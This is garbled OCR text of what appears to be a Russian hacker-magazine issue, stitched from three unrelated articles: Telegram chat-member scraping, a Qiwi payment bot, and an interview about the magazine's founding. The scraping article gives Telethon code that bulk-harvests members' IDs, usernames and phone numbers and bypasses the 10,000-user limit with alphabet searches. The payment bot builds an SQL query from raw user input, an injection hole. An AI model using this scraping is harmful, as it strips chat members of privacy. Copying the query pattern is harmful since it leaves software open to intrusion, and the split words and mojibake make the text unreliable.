чита ют сооб щения вла дель ца канала. Сами они ничего писать не могут
за исклю чени ем тех слу чаев, ког да к каналу при вязан чат для ком мента риев.
Тог да у под писчи ков появ ляет ся воз можность ком менти ровать сооб щения
вла дель ца.

По лучить спи сок под писчи ков канала без при вязан ного к нему чата с ком- 
мента риями мож но, толь ко если это твой канал и у него мень ше 200 под- 
писчи ков. Если хотя бы одно из этих усло вий не выпол няет ся, пар синг недос- 
тупен чис то тех ничес ки и ник то не смо жет его про вес ти, что бы тебе ни обе- 
щали. Воз можно, в будущем появят ся какие-то новые спо собы — легаль ные
или с исполь зовани ем дыр, но пока рабочих спо собов нет.

Ес ли же чат с ком мента риями сущес тву ет, то спар сить поль зовате лей ты
можешь точ но так же, как в слу чае с любым дру гим чатом.

Что каса ется спис ка сооб щений в канале, то его мож но получить как прог- 
рам мно, через API «Телег рама», так и вруч ную, экспор тировав спи сок сооб- 
щений с помощью штат ного кли ента.

×ÀÒÛ

С чатами гораз до инте рес нее. Вруч ную вытащить спи сок юзе ров через стан- 
дар тный кли ент не получит ся, раз ве что сидеть с блок нотом и руч кой
и выписы вать всю инте ресу ющую информа цию. Спо соб не очень, так что при- 
дет ся пос мотреть в сто рону род ного  или, если хочешь упростить
себе жизнь, на какую-нибудь биб лиоте ку, нап ример .

API Telegram
Telethon

В  есть фун кция , которая получа ет на вход
некую сущ ность ( ), а на выходе выда ет спи сок поль зовате лей.

Telethon GetParticipantsRequest
entity

Да вай поп робу ем скор мить ей какой-нибудь чат.

  async def test1(client):
     chat_id = 'https://t.me/kakoy-to-chat'
       chat_entity = await client.get_entity(chat_id)
       participants = await client(GetParticipantsRequest(

   
 

       chat_entity, ChannelParticipantsSearch(''), offset=0,
limit=200, hash=0))
      for user in participants.users:
       print(user)
   return

И пос мотрим, что мож но получить с помощью этой фун кции:

User(id=306742xxx, 
   is_self=False, 
   contact=False, 
   mutual_contact=False, 
   deleted=False, 
   bot=False, 
   bot_chat_history=False, 
   bot_nochats=False, 
   verified=False, 
   restricted=False, 
   min=False, 
   bot_inline_geo=False, 
   support=False, 
   scam=False, 
   apply_min_photo=True, 
   fake=False, 
   access_hash=669983103xxxxx, 
   first_name='??\u200d>?', 
   last_name=None, 
   username='prosto_user_name', 
   phone=None, 
   photo=UserProfilePhoto(photo_id=13174487829112xxxx, 
   dc_id=2, 
   has_video=False, 
   stripped_thumb=b'\x01\x08\x08\x04\xe0\xaa\xe0\x8f\x9b\x8cQE\

x14\x90\xcf'), 
   status=UserStatusRecently(), 
   bot_info_version=None, 
   restriction_reason=[], 
   bot_inline_placeholder=None, 
   lang_code=None) 

Ча ще все го тре буют ся поля , ,  и , .
Кро ме того, здесь еще и куча приз наков: , , , , ,

 и дру гие.

id username first_name last_name phone
bot verified scam fake photo

status
Как видишь, информа ция самая раз ная. Некото рые спе циалис ты по пар- 

сингу Telegram при этом умуд ряют ся заяв лять, что им уда лось получить толь ко
ID, а юзер ней мы с телефо нами — за отдель ные день ги. Лов ко, ничего не ска- 
жешь!

Те лефо ны, конеч но, в этом спис ке будут отоб ражать ся толь ко в том слу чае,
если поль зователь в нас трой ках не отклю чил показ телефо на всем.

Кста ти, иног да пред лага ют опре делять еще и пол поль зовате ля. Таких дан- 
ных Telegram не пре дос тавля ет и не име ет. Мне извес тно толь ко два спо соба
получать эту информа цию:

ана лизи ровать юзер ней мы и име на, про гонять их по заранее соз данной
базе и делать, если воз можно, какие-то выводы. Если имя поль зовате ля,
нап ример, Карина, Юля или Алё на, мож но счи тать его жен щиной;

•

ска чивать все сооб щения из чата для каж дого поль зовате ля, вытас кивать
отту да гла голы и смот реть, нас коль ко час то они закан чива ются на бук ву «а».
Логич но пред положить, что у жен щин таких слу чаев будет гораз до боль ше,
чем у муж чин.

•

Оче вид но, что оба спо соба не дают никаких гаран тий и поз воля ют опре делять
пол лишь с некото рой веро ятностью и к тому же тре буют допол нитель ных уси- 
лий.

Вни матель но прис мотрев шись к резуль тату работы
, мы уви дим, что незави симо от чис ла учас тни ков

чата и от парамет ра  нам выда ют мак симум 200 поль зовате лей. Ког да

в груп пе мень ше 200 учас тни ков, это го дос таточ но, но если их боль ше, то при- 
дет ся еще под напрячь ся.

GetParticipantsRequest
limit

Мои экспе римен ты с парамет ром  показа ли, что он нужен, что бы

ука зывать сме щение в спис ке поль зовате лей. По умол чанию это сме щение
рав но нулю, но если орга низо вать цикл, на каж дой ите рации которо го уве личи- 
вать , то будет ска чивать ся по 200 юзе ров и мож но пар сить до бес- 

конеч ности (ну или пока не закон чатся все юзе ры). Нап ример, так:

offset

offset

  offset = 0
        while True:

              participants = await client(GetParticipantsRequest(
   

 
               channel, ChannelParticipantsSearch(''), offset,

limit, hash=0))
             if not participants.users:

               break

           #...
                       # Тут делаем что-то с юзерами из списка 

participants.users
           #...

             offset += len(participants.users)

Од нако доволь но быс тро выяс няет ся, что фун кция 
воз вра щает мак симум 10 тысяч юзе ров. Как уве личить этот лимит, выяс нить
пока не уда лось. Есть мне ние, что это невоз можно.

GetParticipantsRequest

Па раметр  поз воля ет задать кри терии, которым дол жны соот ветс- 

тво вать воз вра щаемые резуль таты.

filter

Есть сле дующие вари анты:
;• ChannelParticipantsAdmins
;• ChannelParticipantsBanned

;• ChannelParticipantsBots
;• ChannelParticipantsContacts

;• ChannelParticipantsKicked
;• ChannelParticipantsMentions

;• ChannelParticipantsRecent
.• ChannelParticipantsSearch

Тут уже мож но экспе римен тировать: поп робовать получить спи сок всех адми- 
нов, нап ример, или всех, кто онлайн. Пар сить поль зовате лей в онлай не —
вооб ще хорошая идея. Если делать это регуляр но, то мож но отсе ять неак- 
тивных учас тни ков, которые добави лись в груп пку и забыли о ней.

Нас боль ше все го дол жен заин тересо вать параметр
, поз воля ющий искать поль зовате лей по юзер- 

ней му или его час ти. Давай поп робу ем замутить цикл:
ChannelParticipantsSearch

     chat_id = 'https://t.me/stepnru'
       chat_entity = await client.get_entity(chat_id)
                

         
keys = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K',

'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U',
               'V', 'W', 'X', 'Y', 'Z']

      for key in keys:
         offset = 0

          participants = await client(GetParticipantsRequest(
  

  
               chat_entity, ChannelParticipantsSearch(key),

offset, limit=200, hash=0))
           print(key + ": " + str(participants.count))

По ясняю: мы взя ли весь алфа вит и переб рали бук вы, пыта ясь най ти юзе ров,
в  которых она есть.user_name

Смот рим, что получи лось:

A: 28068 
B: 11188 
C: 5721 
D: 15950 
E: 7522 
F: 5280 
G: 8812 
H: 4002 
I: 9233 
J: 3642 
K: 15177 
L: 8264 
M: 20343 
N: 10546 
O: 5903 
P: 9001 
Q: 1009 
R: 9882 
S: 22445 
T: 9881 
U: 2376 
V: 12249 
W: 2581 
X: 1749 
Y: 4324 
Z: 4283 

Как вид но, иног да спи сок резуль татов содер жит мень ше 10 тысяч, и тог да мы
можем вытащить его пол ностью, иног да — боль ше, и тог да мы опять получим
толь ко пер вые 10 тысяч. Одна ко тест на груп пе со 190 тысяча ми юзе ров поз- 
волил узнать дан ные о 140 тысячах, а это уже немало!

На вер няка сущес тву ют и дру гие спо собы поиг рать с филь тра ми и вытащить
еще боль ше людей из чата. Пусть это будет тебе домаш ним задани ем.

Об рати вни мание: этот спо соб работа ет нам ного доль ше, и пар синг груп пы
с нес коль кими десят ками юзе ров может занимать до нес коль ких десят ков
минут.

Сох ранять резуль таты я рекомен дую не в тек сто вый файл, а в какую-нибудь
базу дан ных, нап ример :SQLite

  def add_users_in_base(bd_name, users):
     sqlite_connection = sqlite3.connect(bd_name)
     cursor = sqlite_connection.cursor()
      for user in users:

         sqlite_insert_query = "INSERT INTO users (id, deleted, 
bot, bot_chat_history .....  phone) VALUES (?,?,?,?,?,?,?,?) "

         data_tuple = (
   

  
           user.id, user.deleted, user.bot, user.bot_chat_history

, .... user.phone)
       try:

            cursor.execute(sqlite_insert_query, data_tuple)
          except sqlite3.Error as er:

           pass
       sqlite_connection.commit()
   cursor.close()
   sqlite_connection.close()

Так сра зу отсе ивают ся дуб ликаты, и потом будет нам ного удоб нее работать
с получен ными дан ными: искать, сор тировать, кон верти ровать.

ÂÛÂÎÄÛ

Итак, я показал тебе, как извле кать из чата информа цию о 10 тысячах его учас- 
тни ков, а с при мене нием филь тров — гораз до боль ше. Нем ного поэк спе- 
римен тировав, ты смо жешь написать скрип ты, которые соберут нуж ную тебе
информа цию в удоб ном виде.

Ес ли вдруг зна ешь еще какие-то инте рес ные трю ки по этой теме, не забудь
поделить ся в ком мента риях!

mailto:stariy2003@yandex.ru
https://core.telegram.org/#tdlib-build-your-own-telegram
https://github.com/LonamiWebs/Telethon
https://github.com/LonamiWebs/Telethon
https://tl.telethon.dev/methods/channels/get_participants.html
https://docs.telethon.dev/en/stable/concepts/entities.html
https://digitology.tech/posts/uchebnik-po-sqlite3-v-python/


АВТОМАТИЗИРУЕМ ПРИЕМ
ПЛАТЕЖЕЙ  НА QIWI PYTHON

Mazay
stariy2003@yandex.ru

КОДИНГ

Как говорил великий ком бинатор, «О кар- 
манных день гах не надо думать — они
валя ются на дороге, и мы будем их под- 
бирать по мере надоб ности». В сов ремен- 
ном мире, где авто мати зация лег ка и пов- 
семес тна, кешем обза водить ся мож но
даже не нагиба ясь. Дос таточ но сде лать
полез ную прог рамму или сер вис и под- 
клю чить пла тежи. Сегод ня мы погово рим
имен но о пла тежах и смас терим собс твен- 
ный скрипт для при ема опла ты на кошелек
Qiwi.

Этот сер вис я выб рал как один из самых рас простра нен ных, удоб ных и не тре- 
бующих слож ных дей ствий вро де регис тра ции ИП или зак лючения догово ров.
Зачем нам эта бюрок ратия? Нам работать надо!

Пи сать будем на Python, хотя, вни матель но изу чив при меры, ты смо жешь
при желании вос про извести их на дру гом язы ке.

ÏÎÑÒÀÍÎÂÊÀ ÇÀÄÀ×È

Итак, дано: есть прог рамма, единс твен ная фун кция которой — выводить
на экран тек сто вое сооб щение. Если прог рамма работа ет в деморе жиме, то
сооб щение будет «Дем ка», если в пол ноцен ном, то «Прог рамма зарегис три- 
рова на». Дем ка бес плат на, пол ная вер сия будет сто ить рубль (дороже такое
вряд ли кто-то купит).

Тре бует ся: прик рутить к нашей прог рамме воз можность плат но перек- 
лючать ся из деморе жима в пол ноцен ный, при этом желатель но вооб ще
без нашего учас тия.

Вот наша прог рамма:

 def get_ID():
   # Тут надо вставить генерацию уникального ключа,
   # но для иллюстрации сойдет и просто константа,
   # задаваемая вручную для каждого экземпляра ПО
    return 1

 def get_key_from_file(file_name):
   try:

          key_file = open(file_name, "r")
         key = key_file.read()

        return key
   except:

        return 0

 def check_key():
     key = int(get_key_from_file('key.txt'))
   # Такой вот простой алгоритм генерации ключа
   # В реальной программе следует придумать посложнее
        if key == get_ID() * 2:

        return True
   else:

        return False

 if check_key():
   print('Программа зарегистрирована!')

else:
   print('Демка!')

Ал горитм работы такой:
Прог рамма при запус ке соз дает ID поль зовате ля. Мож но, к при меру,
генери ровать иден тифика тор на осно ве серий ников уста нов ленно го
железа, а если ты решил делать бота для Telegram, то дос таточ но взять

.

•

user_id
Прог рамма про веря ет файл лицен зии, где наде ется уви деть сге нери рован- 
ный на осно ве сво его ID набор дан ных (назовем его клю чом), из которо го
будет понят но, опла тил ли поль зователь покуп ку.

•

Ес ли ключ под ходит, то выводим сооб щение об этом.•
Ес ли ключ неп равиль ный, прог рамма выводит сооб щение «Дем ка».•

Нам нуж но реали зовать воз можность получе ния клю ча в авто мати чес ком
режиме, то есть без учас тия соз дателя прог раммы. Ключ дол жен выдавать ся
каж дому свой, в зависи мос ти от ID, и толь ко тем, кто нам зап латил.

Вза имо дей ство вать с поль зовате лем мы будем через Telegram, пос коль ку
это прос то, удоб но и сов ремен но. При желании в качес тве фрон тенда мож но
исполь зовать и сайт, а ключ высылать по элек трон ной поч те, но это сов сем
дру гая исто рия.

Я в этой статье исполь зую очень при митив ный вари ант защиты. Даже если мы
изоб ретем слож ный спо соб генера ции ID, для взлом щика все в ито ге сво дит ся
к тому, что бы испра вить резуль тат срав нения клю ча с эта лон ным. Что бы
усложнить ему жизнь, ты можешь исполь зовать допол нитель ные защиты
и методы обфуска ции.

Од нако гораз до более прос той спо соб защитить прог рамму — это сде лать
ее сер висом. И если никакой слож ный гра фичес кий интерфейс не нужен, тог да
отличный вари ант — это бот в Telegram. В таком слу чае мож но не замора- 
чивать ся с клю чами и дос таточ но лишь про верять в базе факт опла ты.

Итак, недос татки бота:
нель зя реали зовать слож ный интерфейс;•
нель зя работать с локаль ным обо рудо вани ем;•
слож но обра баты вать мно го фай лов;•
не обхо димо пос тоян ное под клю чение к интерне ту.•

Дос тоинс тва бота:
не надо бес поко ить ся о вся кого рода зависи мос тях, сов мести мос тях, вер- 
сиях опе раци онки и так далее — все будет работать под тво им неусып ным
кон тро лем;

•

ник то не будет иметь дос тупа к коду, и ник то не смо жет даже попытать ся
его взло мать.

•

Пред полага ется, что поль зователь прог раммы будет опла чивать необ ходимую
сум му на кошелек Qiwi, вве дя в ком мента риях ID.

Сер верная же часть будет сос тоять из двух модулей: чекера и бота. Чекер
ста нет с неболь шим интерва лом про верять кошелек и при получе нии пла тежей
скла дывать информа цию о них в базу, при сово куп ляя к ним айдиш ники поль- 
зовате лей и све жес генери рован ные клю чики. А бот получит от поль зовате ля ID
и про верит, есть ли он в базе опла чен ных. Если есть, то выш лет в ответ клю чик,
который поль зовате лю надо будет сох ранить в каталог с прог раммой.

Раз работ чику в таком слу чае оста ется толь ко пери оди чес ки про верять
баланс кошель ка да лис тать каталог элит ной нед вижимос ти, почесы вая
при этом пузо и сыто икая.

ÐÅÀËÈÇÀÖÈß

Ëîêàëüíàÿ ÷àñòü
Итак, для начала идем на сайт Qiwi и  там пару клю чей для дос тупа
через API.

соз даем

Клю чи необ ходимо сох ранить в надеж ном мес те.
Ког да мы будем отправ лять поль зовате ля на опла ту, мы пред ложим ему

перей ти по ссыл ке такого вида:

https://oplata.qiwi.com/create?publicKey=<qiwi_public_key>&
billId=<unical_paid_id>&amount=<price>&comment=<ID>&successUrl=<
bot_url> 

Здесь нуж но под ста вить сле дующие парамет ры:
 — пуб личный ключ для дос тупа к API Qiwi;• publicKey

 — уни каль ный иден тифика тор сче та, который нам необ ходимо
генери ровать самос тоятель но. Думаю, мож но обой тись нашим ID, к которо- 
му сле дует при бавить текущие дату и вре мя, а для кра соты — пос читать
хеш от этой стро ки;

• billId

 — раз мер пла тежа в руб лях, в нашем слу чае будет 1;• amount
 — в ком мента рии сле дует положить ID, по которо му чекер смо жет

понять, от кого при шел пла теж и для какого ID ему сле дует соз давать клю- 
чик;

• comment

 — адрес, на который отпра вят поль зовате ля пос ле опла ты.
Сюда мы вста вим адрес бота, выда юще го ключ. Конеч но, на вся кий слу чай
сле дует про дуб лировать ссыл ку на бота в интерфей се прог раммы и в инс- 
трук ции, мало ли что.

• successUrl

До бав ляем в прог рамму фун кцию, генери рующую URL:

 def get_url():
     

\ 
url = 'https://oplata.qiwi.com/create?publicKey='+config.

qiwi_public_key+
         '&billId='+get_unical_billID()+'&amount=1&comment='+str(

get_ID())+'&successUrl="https://t.me/super_qiwi_xakep_bot?start="'
+str(get_ID())
   return""

И изме няем про вер ку клю ча. Добавим в нее откры тие нашей ссыл ки в бра узе- 
ре по умол чанию:

 if check_key():
   print('Программа зарегистрирована!')

else:
   print('Демка!')
     subprocess.Popen(('start', get_url()), shell=True)

В ито ге поль зователь будет отправ лен на сайт Qiwi, где ему оста нет ся залоги- 
нить ся и нажать кноп ку «Перевес ти».

ÑÅÐÂÅÐÍÀß ×ÀÑÒÜ

На сер вере нам понадо бят ся две прог раммы. Пер вая — чекер, он будет
регуляр но про верять, пос тупили ли в кошелек све жие пла тежи, и сох ранять их
в базу дан ных. Вто рая — бот, который дол жен вза имо дей ство вать с поль- 
зовате лем и при наличии пла тежа в базе выдавать поль зовате лю ключ вза мен
на ID.

×åêåð
Для про вер ки спис ка пос ледних пла тежей нам необ ходимо  токен
для API.

вы пус тить

Этот токен нуж но переда вать в заголов ке каж дого зап роса. Запус кать чекер
удоб нее все го через cron. Итак, поеха ли:

#!/usr/bin/python3
 import json
 import sqlite3
 import requests
 import config

 def keygen(ID):
      return ID * 2

  sqlite_connection = sqlite3.Connection
try:
   # Подключаемся к базе
     sqlite_connection = sqlite3.connect(config.db_name)
     cursor = sqlite_connection.cursor()
   # Создаем таблицу, если она отсутствует
     sqlite_create_table_query = '''CREATE TABLE if not exists 

qiwi (
                                   txnId INTEGER PRIMARY KEY,
                                   account TEXT ,
                                   summa text,
                                   date datetime,
                                   program_id text,
                                   key text);'''
   cursor.execute(sqlite_create_table_query)
   sqlite_connection.commit()

     s = requests.Session()
   # Создаем заголовок с токеном
       s.headers['authorization'] = 'Bearer ' + config.

qiwi_api_access_token
      parameters = {'rows': '50'}
   # Запрашиваем список последних 50 платежей (если запускать 

чекер каждые 10 секунд, этого будет вполне достаточно на первых 
порах)
      
    

h = s.get('https://edge.qiwi.com/payment-history/v1/persons/'
+ config.qiwi_login + '/payments', params=parameters)
     res = json.loads(h.text)
     sqlite_insert_query = "INSERT INTO qiwi (date,txnId, account, 

summa, program_id, key) VALUES (?,?,?,?,?,?) "
   # Пробегаемся по полученному списку
      for data in res['data']:

          if data['type'] == 'IN':
           # Генерируем ключ, взяв ID пользователя из 

комментария к платежу
             key = keygen(data['comment'])

    
 

           data_tuple = (data['date'], data['txnId'], str(data[
'account']), str(data['sum']['amount']),

                          data['comment'], key)
           try:
               # И добавляем результат в базу. Если платеж уже 

добавлен, то ничего страшного не произойдет, словим exeption и 
продолжим работать дальше

                cursor.execute(sqlite_insert_query, data_tuple)
           except:
               print("Ошибка добавления ")
           sqlite_connection.commit()
   cursor.close()

   except sqlite3.Error as error:
     print("Ошибка при подключении к sqlite" + str(error))

finally:
    if sqlite_connection:
       sqlite_connection.close()

Ко неч но, в реаль ный чекер сле дует добавить как минимум логиро вание оши- 
бок и допол нитель ные про вер ки, но для понима ния сути про цес са это сей час
не важ но.

Ос талось сде лать бота. Инс трук ций, как соз дать бота через BotFather,
в интерне те неис числи мое мно жес тво, поэто му перей ду сра зу к делу.

#!/usr/bin/python3

 import telebot
 import config
 import sqlite3

# Создаем экземпляр бота
  bot = telebot.TeleBot(config.tg_bot_token)

# Функция, обрабатывающая команду /start
@bot.message_handler(commands=["start"])

 def start(message):
   # При успешной оплате мы пересылаем пользователя на нашего 

бота, сразу передав в качестве параметра команды start ключ 
пользователя. Мы можем сразу обработать эту ситуацию и вернуть 
ключ. Если же пользователь сам пришел к боту, то надо пояснить 
ему, что нужно сделать
      if message.text == '/start':
       bot.send_message(message.chat.id,
                        'Привет! Пришли мне ID своей программы, 

и, если она оплачена, я пришлю тебе в ответ ключик.')
   else:

            if len(message.text) > 1 + len('/start'):
           handle_text(message)

@bot.message_handler(content_types=["text"])
 def handle_text(message):

     sqlite_connection = sqlite3.Connection
   try:

         sqlite_connection = sqlite3.connect(config.db_name)
       # Если это первый запуск, то отрезаем все лишнее, если не 

первый, то считаем, что нам передали ключ и ищем его в базе. 
По-хорошему, конечно, тут не помешает сделать какие-то 
дополнительные проверки, так что воспринимай это как макет 
программы

        if str(message.text).startswith('/start'):
               text = str(message.text)[len('/start') + 1:len(message

.text)]
       else:

             text = message.text
  

    
       sqlite_select_query = "SELECT * from qiwi where 

program_id ='" + text + "';"
         cursor = sqlite_connection.cursor()

       cursor.execute(sqlite_select_query)
         rows = cursor.fetchall()

       cursor.close()
         key = ""
          for row in rows:

             key = row[5]
       # Берем последний ключ из базы и отправляем его 

пользователю
          if len(key) > 0:

    
 
           bot.send_message(message.chat.id, 'Твой ключ: ' + key

+ '\nСохрани его в файл key.txt и положи рядом с программой.')
       else:
           bot.send_message(message.chat.id,
                            'Твоего ID нет в списке оплаченных. 

Возможно, платеж еще не обработан. Обычно это занимает не более 
минуты, попробуй еще раз через 5 минут, если не поможет — 
обращайся к разработчику, будем разбираться.')
      except sqlite3.Error as error:
       print(error)
   finally:

        if sqlite_connection:
           sqlite_connection.close()

# Запускаем бота
 bot.polling(none_stop=True, interval=0)

ÂÛÂÎÄÛ

На ша импро визи рован ная инфраструк тура готова к работе. Поль зователь
может перехо дить по ссыл ке и опла чивать посиль ный взнос, чекер обна ружит
пла теж и вне сет его в базу, заод но сге нери ровав клю чик, а бот выдаст ключ
поль зовате лю при наличии опла ты. День ги пада ют в наш кошелек, мы богате- 
ем.

На пос ледок рас ска жу тебе о раз новид ности мошен ничес тва, с которой я
стол кнул ся при тес тирова нии. В интерне те про дают ся готовые акка унты Qiwi,
в том чис ле и про шед шие иден тифика цию и при вяз ку к пас пор тным дан ным.
Такие акка унты час то покупа ют, что бы не све тить свои реаль ные дан ные.

Бы вают слу чаи, ког да мошен ники про дают акка унты Qiwi по заведо мо низ- 
ким ценам, нап ример по 5–10 руб лей вмес то 30 или 60. А пос ле покуп ки лег ко
может ока зать ся, что к такому акка унту уже выпущен токен, с помощью которо- 
го мож но про верять баланс, а самое глав ное — перево дить день ги. У мошен- 
ников есть чекер, который пос тоян но про веря ет про дан ный тебе кошелек
и при появ лении денег на балан се мгно вен но перево дит всю сум му или ее
часть на свой кошелек. Будь осто рожен и не гонись за бес плат ным сыром!

mailto:stariy2003@yandex.ru
https://qiwi.com/p2p-admin/transfers/api
https://qiwi.com/api
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Се год ня мы нем ного отвле чем ся от уяз- 
вимос тей и их экс плу ата ции, что бы пре- 
дать ся нос таль гии и вспом нить об исто ках
«Хакера». Дмит рий Ага рунов осно вал сеть
магази нов Gameland, а затем и одно имен- 
ное изда тель ство, где выпус кались
«Хакер», «Стра на игр» и мно гие дру гие
жур налы. Мы сели и обсу дили исто рию
и кон цепцию «Хакера», порас смат ривали
ста рые фото и вспом нили людей, которые
работа ли над жур налом в раз ное вре мя.

ÄÎ «ÕÀÊÅÐÀ»

— Äàâàé íà÷íåì ñ ñàìîãî íà÷àëà. Êàê ïîÿâèëàñü «Ñòðàíà èãð»?
Îòêóäà âçÿëàñü ïåðâàÿ ðåäàêöèÿ? ß ÷èòàë, ÷òî âû âçÿëè ÷åëîâåêà,
êîòîðûé ïåðåâîäèë ðóêîâîäñòâà ê èãðàì, ïðîäàâàâøèìñÿ â òâîåé
òîðãîâîé ñåòè. Ýòî òàê?
— Если корот ко, это была идея сот рудни ка Gameland — Димы Дон ско го. Он
был сту ден том и дей стви тель но перево дил руководс тва к играм. И пред ложил:
«Дима, давай сде лаем жур нал!» Он был талан тли вым пар нем и как раз тог да
про ходил прак тику и учил ся год в шко ле в США. Так что во мно гом жур нал —
это под смот ренная на Западе идея. Я дол го не хотел этим занимать ся, но ког- 
да Дима пообе щал взять на себя всю ответс твен ность по запус ку, то сог ласил- 
ся. И мы выпус тили жур нал: в 1995 году начали работу и сде лали пер вый
номер, в янва ре 96-го получи ли тираж. Глав ной целью жур нала тог да было
рас ска зывать о кру тых виде оиг рах и прод вигать наши магази ны. В тот момент
в Рос сии из круп ных жур налов уже выходил «Магазин игру шек» (будущий
Game.EXE), но рек лама там сто ила очень дорого, 5000 дол ларов за стра ницу,
к тому же он мне казал ся слиш ком пафос ным и малопо нят ным.

Дмит рий Ага рунов на пре зен тации Nintendo 64, 1996 год

— È äåëî ñðàçó ïîøëî?
— Пер вый тираж был 5 тысяч, потом 10, потом 18, в пер вый год жур нал
не оку пал ся. При быль ным он стал толь ко через год, ког да тираж дос- 
тиг 60 тысяч.

— Ïðîäàâàëè ó ñåáÿ?
— Нет, рас простра ните лем ста ла ком пания «Гло бус», у них были точ ки в мет ро,
и они забира ли все пер вые тиражи. Это был их экс клю зив.

— Êàê âûãëÿäåëà êîìàíäà «Ñòðàíû Èãð»?
— Ее соб рал Дима Дон ской, пер вый номер они делали с Сер геем Лян ге и еще
парой ребят. Сер гей — боль шой энту зиаст игр и имел полиг рафичес кое обра- 
зова ние, занимал ся верс ткой. Коман да тог да рас полага лась пря мо в магази не,
мог ла сра зу брать игры и играть в них.

Ма газин Gameland на Новом Арба те

— «Õàêåð» áûë âàøèì âòîðûì æóðíàëîì?
— Мы парал лель но запус кали рус скую вер сию Official PlayStation Magazine, так
что вто рым был ско рее он, а «Хакер» — треть им.

— Êàêàÿ áûëà ìîòèâàöèÿ îòêðûâàòü åùå æóðíàëû?
— Я тог да разоча ровал ся в тор говле — из-за пиратс тва. До 1998 года мне
уда валось вык ручивать ся за счет выхода новых прис тавок и дорогих игр к ним.
А потом вдруг ста ло воз можно пиратить вооб ще всё. Мы же были ори енти- 
рова ны на фанатов и тор говали лицен зией. Летом 1998 года мы переве ли
магазин в интернет, что бы рас про дать остатки товара.

— Â 1998 ãîäó å-êîììåðñ áûë äîâîëüíî ïðîãðåññèâíîé èäååé!
— Мы тог да не счи тали это чем-то необыч ным. С 1996 года у нас уже был сайт
Gameland.ru, да и у «Хакера» сайт появил ся с момен та откры тия. Сей час-то я
уже понимаю, что сто явший пря мо в офи се сер вер с эти ми сай тами — не сов- 
сем обыч ная ситу ация. А тог да было нор маль но.

— Ïîñëå çàêðûòèÿ ñåòè âû ñîñðåäîòî÷èëèñü íà èçäàíèè
æóðíàëîâ?
— Да, я решил, что изда тель ство пер спек тивнее. Тираж «Стра ны игр» дос тиг
уже 80 тысяч, это был хороший доход — тысяч 25–30 дол ларов в месяц. Я
подумал, что 10–20 таких жур наль чиков и получит ся уже тысяч 300.

ÏÅÐÂÛÉ ÍÎÌÅÐ

— Êàê è êîìó ïðèøëà â ãîëîâó èäåÿ çàïóñòèòü «Õàêåð»? Êòî ïåðâûé
ñêàçàë ñàìî ñëîâî?
— Игорь Пис кунов работал у меня в магази не, он был бра том одно го из моих
менед жеров. Тог да Игорь в чис ле про чего начал занимать ся рек ламой. Очень
кураж ный был парень! Он пред ложил сде лать «Хакер», имея в виду веселый
компь ютер ный жур нал. Про взлом мы в тот момент слы шали, но не более того.
Поэто му решили сде лать полови ну жур нала про компь ютер ные игры и поз вали
для это го Дениса Давыдо ва.

Игорь Пис кунов

— Çíàþ Äýíà! Îí âåäü ïîòîì îñíîâàë «Íàâèãàòîð èãðîâîãî ìèðà»
è îäíî âðåìÿ áûë ãëàâðåäîì «Èãðîìàíèè»?
— Да, он в какой-то момент вдох нул в нее новую жизнь.

— Â êàêîì ãîäó íà÷àëè ðàáîòàòü íàä «Õàêåðîì»?
— Мы решили сде лать «Хакер» в августе 1998 года, но из-за кри зиса перенес- 
ли откры тие. Пер вый выпуск вышел в фев рале 99-го.

— Äàâûäîâ âî âðåìåíà çàïóñêà «Õàêåðà» ðàáîòàë â «Ñòðàíå Èãð»?
— Нет, он был не из «Гей млен да». Он тог да с груп пой людей делал жур нал
«Игро полис» — еще более пафос ный, чем Game.EXE. Рос кошный и гла мур- 
ный. Этот жур нал так и не вышел. Мы тог да приг ласили Дениса в «Хакер» вес ти
руб рику о компь ютер ных играх.

— Êàê â «Õàêåð» ïðèøåë ëåãåíäàðíûé ãëàâðåä Ñåðãåé Ïîêðîâñêèé
(SINtez)?
— Его нашел Игорь Пис кунов. «Хакер» был его иде ей, ему я и поручил запуск
жур нала.

— Â ïåðâîì íîìåðå ãëàâíûé ðåäàêòîð äàæå íå áûë óêàçàí, âåðíî?
— Да, я не хотел тог да давать дол жнос ти. Молодежь час то стре мит ся занять
дол жность, а я не хотел, что бы ее занял какой-то человек, который не может
быть редак тором и тем более глав редом и толь ко стре мит ся пос корее попасть
на пер вую строч ку тит ров. Я это го делать не давал — сна чала нуж но было
доказать, что ты справ ляешь ся.

— Êàê ñêîðî ñòàëî î÷åâèäíî, ÷òî Ïîêðîâñêèé äîñòîèí?
— Очень быс тро. Он был очень энер гичный, быс тро соб рал коман ду. Боль шой
энту зиаст хакер ской куль туры.

Сер гей Пок ров ский

— Åãî âèäåíèå íå øëî âðàçðåç ñ âàøèìè ïëàíàìè äåëàòü
ïîëîâèíó æóðíàëà ïðî èãðû?
— Для меня это было ней траль ным фак тором. Мне казалось, что раз жур нал
для энту зиас тов ПК, а полови на это го энту зиаз ма дер жится на играх, то о них
сто ит писать, это гаран тиру ет допол нитель ный спрос. Но мы быс тро поняли,
что и по компь ютер ной темати ке пол но матери ала, а наличие раз дела игр раз- 
дра жает фанатов хакин га.

ÏÐÎÒÅÑÒ

— Êàê «Õàêåð» ñòàë òàêèì êîíòðêóëüòóðíûì, êàêèì îí áûë
âíà÷àëå? Òàê áûëî ñðàçó çàäóìàíî?
— В 1998 году Запад нас жес токо кинул. Я за три дня прев ратил ся из богато го
челове ка в дол жни ка, потеряв 3 мил лиона дол ларов — из-за изме нения кур са
валюты. У меня был дикий над лом, оби да и про тест. Хотелось дать какой-то
ответ. В Рос сии тог да не было кру тых сов ремен ных про изводств, сво их
товаров и брен дов (или, по край ней мере, так казалось), и единс твен ное, что
мы мог ли про тиво пос тавить, — это наши моз ги. Пос коль ку в Рос сии есть кру- 
тые прог раммис ты и матема тики, я добавил жур налу про тес тную мис сию. Мы
про тив любого офи циоза, абс трак тных кра сивых слов, про тив Запада, про тив
пра витель ства. И мы вооду шев ляем рос сий ских пацанов, в том чис ле из глу- 
бин ки, стать прог раммис тами и прев ратить Рос сию в айтиш ную дер жаву —
без вся кой свя зи с влас тями. Для меня эта пар тизан ская иде оло гия была очень
важ на.

— Èç ýòîé æå èäåè ðîäèëñÿ è «êèñëîòíûé» äèçàéí æóðíàëà?
— Да, задачу дизай неру, Рус лану Рубан ско му, имен но так и пос тавили — сде- 
лать пожес тче, что бы читал ся про тест. Кибер панков ский стиль жур нал обрел
уже где-то через год.

«Хакер» #9 за 1999 год

— Êàêàÿ áûëà ïåðâàÿ ðåàêöèÿ ïóáëèêè íà «Õàêåð»?
